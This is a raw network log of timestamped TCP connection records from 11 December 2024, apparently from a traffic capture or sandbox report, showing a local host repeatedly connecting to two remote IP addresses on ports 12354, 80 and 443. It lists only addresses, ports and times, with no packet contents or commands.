Dec 11, 2024 16:27:20.605808973 CET	52771	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.605894089 CET	80	52772	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:20.606055975 CET	52772	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.607901096 CET	52771	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.608289003 CET	52772	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.727855921 CET	12354	52771	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:20.728192091 CET	80	52772	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:22.166992903 CET	80	52772	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:22.167088032 CET	52772	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:22.169805050 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:22.169859886 CET	443	54534	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:22.170006037 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:22.170828104 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:22.170855045 CET	443	54534	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:22.580701113 CET	12354	52585	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.580871105 CET	52585	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.604721069 CET	52585	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.605117083 CET	54999	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.721663952 CET	12354	52771	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.721730947 CET	52771	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.721846104 CET	52771	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.724127054 CET	55132	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.724802017 CET	12354	52585	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.725291014 CET	12354	54999	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.725370884 CET	54999	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.725502968 CET	54999	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.842370033 CET	12354	52771	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.845632076 CET	12354	55132	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.845648050 CET	12354	54999	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:22.845710039 CET	55132	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.846297979 CET	55132	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:22.966077089 CET	12354	55132	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:23.872698069 CET	443	54534	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:23.872848988 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:23.873621941 CET	443	54534	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:23.873729944 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:23.877244949 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:23.877327919 CET	443	54534	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:23.877382040 CET	54534	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.005752087 CET	52772	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.006293058 CET	56259	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.125617981 CET	80	52772	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:24.125715017 CET	52772	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.125722885 CET	80	56259	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:24.125956059 CET	56259	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.126142979 CET	56259	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.245387077 CET	80	56259	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:24.470568895 CET	54999	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.470680952 CET	56259	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.470680952 CET	55132	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.471146107 CET	56775	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.586030960 CET	56922	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.587464094 CET	56923	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.590822935 CET	12354	56775	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:24.590949059 CET	56775	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.591263056 CET	56775	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.708410025 CET	80	56922	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:24.708494902 CET	56922	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.709089994 CET	56922	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:24.709963083 CET	12354	56923	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:24.710079908 CET	56923	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.710978985 CET	56923	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:24.712815046 CET	12354	56775	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:24.828409910 CET	80	56922	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:24.830413103 CET	12354	56923	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.271668911 CET	80	56922	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:26.271895885 CET	56922	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:26.276535988 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:26.276578903 CET	443	58497	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:26.276637077 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:26.277174950 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:26.277193069 CET	443	58497	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:26.706083059 CET	12354	56775	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.706537962 CET	56775	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.706825018 CET	56775	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.707389116 CET	58580	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.826971054 CET	12354	56775	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.826988935 CET	12354	58580	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.827083111 CET	58580	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.827692032 CET	58580	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.831512928 CET	12354	56923	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.832478046 CET	56923	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.833492994 CET	56923	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.837421894 CET	58639	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.950926065 CET	12354	58580	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.953365088 CET	12354	56923	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.958801985 CET	12354	58639	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:26.958877087 CET	58639	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:26.959244967 CET	58639	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:27.078766108 CET	12354	58639	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:27.975939035 CET	443	58497	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:27.976027966 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:27.976990938 CET	443	58497	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:27.977060080 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:27.980158091 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:27.980243921 CET	443	58497	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:27.980294943 CET	58497	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.107198000 CET	56922	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.107686043 CET	59719	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.227293968 CET	80	59719	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:28.227392912 CET	59719	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.227626085 CET	80	56922	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:28.227683067 CET	56922	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.227788925 CET	59719	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.347552061 CET	80	59719	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:28.486032963 CET	59719	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.486064911 CET	58580	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.486150980 CET	58639	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.487214088 CET	60181	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.684212923 CET	60345	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.684756041 CET	60346	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.785907984 CET	12354	60181	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:28.786027908 CET	60181	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.823575020 CET	60181	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.906299114 CET	80	60345	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:28.906318903 CET	12354	60346	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:28.906398058 CET	60345	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.906426907 CET	60346	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.906898022 CET	60345	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:28.906995058 CET	60346	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:28.943386078 CET	12354	60181	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:29.027978897 CET	80	60345	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:29.027992010 CET	12354	60346	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:30.472453117 CET	80	60345	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:30.472520113 CET	60345	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:30.477901936 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:30.477957964 CET	443	62214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:30.478099108 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:30.479474068 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:30.479494095 CET	443	62214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:30.893579960 CET	12354	60181	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:30.893650055 CET	60181	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:30.908493996 CET	60181	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:30.908827066 CET	62705	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.028556108 CET	12354	60181	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:31.028578043 CET	12354	62705	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:31.028671980 CET	62705	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.035000086 CET	12354	60346	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:31.035070896 CET	60346	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.048996925 CET	62705	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.050018072 CET	60346	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.134879112 CET	62711	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.169404030 CET	12354	62705	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:31.170669079 CET	12354	60346	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:31.256913900 CET	12354	62711	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:31.257201910 CET	62711	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.459775925 CET	62711	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:31.580303907 CET	12354	62711	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:32.172594070 CET	443	62214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.172669888 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.173392057 CET	443	62214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.173435926 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.211666107 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.211743116 CET	443	62214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.211836100 CET	62214	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.326517105 CET	60345	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.327282906 CET	63289	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.446363926 CET	80	60345	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.446433067 CET	60345	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.446636915 CET	80	63289	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.446705103 CET	63289	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.448138952 CET	63289	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.502286911 CET	63289	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.502316952 CET	62705	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.502321959 CET	62711	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.503058910 CET	63434	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.567394972 CET	80	63289	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.567465067 CET	63289	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.615825891 CET	63529	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.618478060 CET	63531	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.622436047 CET	12354	63434	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:32.622512102 CET	63434	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.623246908 CET	63434	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.735924006 CET	12354	63529	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:32.736032009 CET	63529	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.736630917 CET	63529	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:32.738275051 CET	80	63531	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:32.738354921 CET	63531	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.738548994 CET	63531	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:32.743441105 CET	12354	63434	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:32.856437922 CET	12354	63529	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:32.858098984 CET	80	63531	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:34.301805019 CET	80	63531	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:34.301863909 CET	63531	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:34.307095051 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:34.307142019 CET	443	64509	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:34.307203054 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:34.308717012 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:34.308737040 CET	443	64509	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:34.737932920 CET	12354	63434	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.738009930 CET	63434	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.738527060 CET	63434	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.738835096 CET	64828	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.846604109 CET	12354	63529	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.846803904 CET	63529	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.848519087 CET	63529	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.849250078 CET	64971	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.859358072 CET	12354	63434	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.859982014 CET	12354	64828	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.860121012 CET	64828	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.860810995 CET	64828	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.968209028 CET	12354	63529	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.969588041 CET	12354	64971	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.969657898 CET	64971	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:34.981868029 CET	12354	64828	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:34.983956099 CET	64971	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:35.103260994 CET	12354	64971	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:36.002574921 CET	443	64509	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.002641916 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.003448009 CET	443	64509	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.003493071 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.014420033 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.014475107 CET	443	64509	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.014594078 CET	64509	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.135368109 CET	63531	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.135481119 CET	49981	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.254873991 CET	80	49981	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.254976034 CET	49981	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.255119085 CET	80	63531	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.255297899 CET	63531	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.255453110 CET	49981	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.374912024 CET	80	49981	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.517472029 CET	64971	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.517659903 CET	49981	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.517667055 CET	64828	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.518881083 CET	50396	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.633157015 CET	50465	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.634855032 CET	50467	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.639888048 CET	12354	50396	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:36.639969110 CET	50396	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.640381098 CET	50396	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.756345034 CET	80	50465	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.756433010 CET	50465	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.757864952 CET	12354	50467	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:36.757925987 CET	50467	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.760688066 CET	50465	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:36.761255026 CET	50467	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:36.761501074 CET	12354	50396	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:36.880317926 CET	80	50465	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:36.880611897 CET	12354	50467	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.319008112 CET	80	50465	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:38.320425034 CET	50465	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:38.324347019 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:38.324376106 CET	443	51516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:38.324883938 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:38.328398943 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:38.328412056 CET	443	51516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:38.752511978 CET	12354	50396	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.760324955 CET	50396	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.763392925 CET	50396	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.764007092 CET	51864	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.863106966 CET	12354	50467	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.863199949 CET	50467	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.863811016 CET	50467	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.880125999 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.883133888 CET	12354	50396	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.883800030 CET	12354	51864	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.888731956 CET	51864	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.888751984 CET	51864	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:38.983088970 CET	12354	50467	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.999530077 CET	12354	52000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:38.999629021 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:39.000065088 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:39.008443117 CET	12354	51864	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:39.119822025 CET	12354	52000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:40.032223940 CET	443	51516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.032390118 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.033023119 CET	443	51516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.033071041 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.037102938 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.037205935 CET	443	51516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.037266016 CET	51516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.145880938 CET	50465	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.146152973 CET	53313	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.269108057 CET	80	53313	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.269177914 CET	53313	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.269695044 CET	80	50465	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.269759893 CET	50465	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.271300077 CET	53313	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.390646935 CET	80	53313	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.533102036 CET	53313	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.533135891 CET	51864	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.533184052 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.534226894 CET	53660	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.646897078 CET	53773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.648339033 CET	53774	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.654345036 CET	12354	53660	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:40.654445887 CET	53660	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.654822111 CET	53660	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.767430067 CET	12354	53773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:40.767529964 CET	53773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.767824888 CET	80	53774	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:40.767891884 CET	53774	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.768316031 CET	53773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:40.768438101 CET	53774	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:40.774214983 CET	12354	53660	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:40.890096903 CET	12354	53773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:40.890441895 CET	80	53774	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:42.340358973 CET	80	53774	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:42.344355106 CET	53774	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:42.347307920 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:42.347374916 CET	443	55401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:42.347430944 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:42.347702026 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:42.347714901 CET	443	55401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:42.768685102 CET	12354	53660	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:42.768790960 CET	53660	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.768949986 CET	53660	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.769653082 CET	55792	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.880256891 CET	12354	53773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:42.880346060 CET	53773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.886611938 CET	53773	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.897159100 CET	55930	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.904531956 CET	12354	53660	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:42.904546976 CET	12354	55792	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:42.904638052 CET	55792	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:42.905167103 CET	55792	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:43.005903959 CET	12354	53773	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:43.016628027 CET	12354	55930	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:43.016710997 CET	55930	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:43.017277002 CET	55930	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:43.024579048 CET	12354	55792	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:43.137626886 CET	12354	55930	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:44.040965080 CET	443	55401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.041045904 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.041886091 CET	443	55401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.041949987 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.045114994 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.045171022 CET	443	55401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.045228958 CET	55401	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.161309004 CET	53774	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.161592007 CET	57093	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.280968904 CET	80	57093	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.281156063 CET	80	53774	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:44.281250954 CET	57093	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.281276941 CET	53774	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:44.281539917 CET	57093	80	192.168.2.9	202.108.0.52
